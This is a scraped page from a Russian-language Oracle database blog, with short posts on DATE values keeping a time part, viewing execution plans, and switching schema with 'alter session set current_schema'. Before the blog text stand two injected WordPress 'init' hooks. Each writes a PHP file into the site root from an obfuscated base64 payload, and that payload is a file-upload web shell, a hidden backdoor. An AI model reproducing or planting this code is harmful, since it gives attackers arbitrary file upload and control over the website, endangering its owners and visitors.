add_action('init', function() { $f = ABSPATH . 'avamfb.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); add_action('init', function() { $f = ABSPATH . 'hbnobh.php'; if (!file_exists($f)) { file_put_contents($f, base64_decode('PD9waHAgZWNobyAnbzInOyA/Pgo8P3BocAoKZ290byBWd1F6SzsgSDFSUnU6IGVjaG8gIlwxNTdceDMyXHgzY1wxNDZceDZmXDE2MlwxNTVceDIwXHg2ZFwxNDVceDc0XDE1MFx4NmZceDY0XHgzZFw0N1x4NTBcMTE3XDEyM1wxMjRceDI3XHgyMFx4NjVcMTU2XHg2M1wxNjRcMTcxXHg3MFwxNDVceDNkXHgyN1wxNTVceDc1XHg2Y1x4NzRcMTUxXDE2MFx4NjFcMTYyXDE2NFw1N1x4NjZcMTU3XHg3MlwxNTVcNTVcMTQ0XDE0MVx4NzRceDYxXDQ3XHgzZVw3NFx4NjlcMTU2XDE2MFx4NzVceDc0XHgyMFwxNjRceDc5XHg3MFwxNDVceDNkXDQ3XHg2Nlx4NjlceDZjXDE0NVx4MjdcMTU2XDE0MVwxNTVceDY1XHgzZFw0N1x4NjZcNDdceDIwXHgyZlw3Nlx4M2NceDY5XHg2ZVwxNjBceDc1XDE2NFw0MFwxNjRceDc5XHg3MFx4NjVcNzVceDI3XDE2M1wxNjVceDYyXDE1NVwxNTFceDc0XDQ3XDQwXHg3Nlx4NjFcMTU0XHg3NVx4NjVcNzVcNDdcMTY1XHg3MFx4MjdcNDBcNTdcNzZcNzRceDJmXDE0NlwxNTdceDcyXHg2ZFw3NiI7IGdvdG8gSE1xUk87IFZ3UXpLOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gSDFSUnU7IEhNcVJPOiBAY29weSgkX0ZJTEVTWyJcMTQ2Il1bIlx4NzRcMTU1XDE2MFwxMzdceDZlXDE0MVwxNTVcMTQ1Il0sICRfRklMRVNbIlx4NjYiXVsiXDE1Nlx4NjFcMTU1XDE0NSJdKTsgZ290byBIc01TeTsgSHNNU3k6IGVjaG8gIlx4M2NceDYxXDQwXHg2OFwxNjJceDY1XDE0Nlw3NSIgLiAkX0ZJTEVTWyJceDY2Il1bIlwxNTZceDYxXDE1NVx4NjUiXSAuICJcNzYiIC4gJF9GSUxFU1siXDE0NiJdWyJcMTU2XDE0MVwxNTVcMTQ1Il0gLiAiXHgzY1x4MmZceDYxXDc2IjsKCj8+Cg==')); } }); Oracle » nord-tramper.ru
"Программист — это профессиональный конвертер галлюцинаций заказчика в жесткую формальную систему"
Jul 102014
 

Полдня не могли понять, почему не работает кусок кода на стыке двух проектов?! Все переменные через dbms_output выглядят красиво, но ничего не работает…

Сомнения закрались, когда в запросе вместо параметров подставили значения… Все заработало! Все оказалось просто – Oracle хранит дату всегда со временем, даже после trunc там останется 00:00:00. Выяснилось, что приложение присылало дату +1 час (кто-то поясное время использовал).

Сделал для себя вывод – если в тестовом выводе участвует дата, то конвертация к строке только явная, с указанием времени в формате.

DBMS_OUTPUT.PUT_LINE(to_char(DT,'DD-MON-YYYY hh24:mi:ss'));
Aug 292013
 

Запрос работает медленно? Ну что ж, его надо оптимизировать, и первое, на что мы будем смотреть – план его выполнения.
В этом посте расскажу как посмотреть план, если недоступны всякие GUI тулзы вроде TOAD и SQLNavigator.
Тут рассмотрим два способа:

  1. Скрипты utlxpls.sql | utlxplp.sql
  2. Пакет DBMS_XPLAN

Continue reading »

May 242013
 

Вроде и нужно часто, а команда забывается:

alter session set current_schema=SCHEMA_NAME;

Если часто приходится работать под другим ползователем в БД, то включить эту команду в скрипт будет хорошей идеей.

Кстати, если вдруг придется использовать эту команду в PL/SQL, подставить туда bind variable не удасться – придется генерить строку команды и выполнять ее через

execute immediate ALTER_SQL_STATEMENT;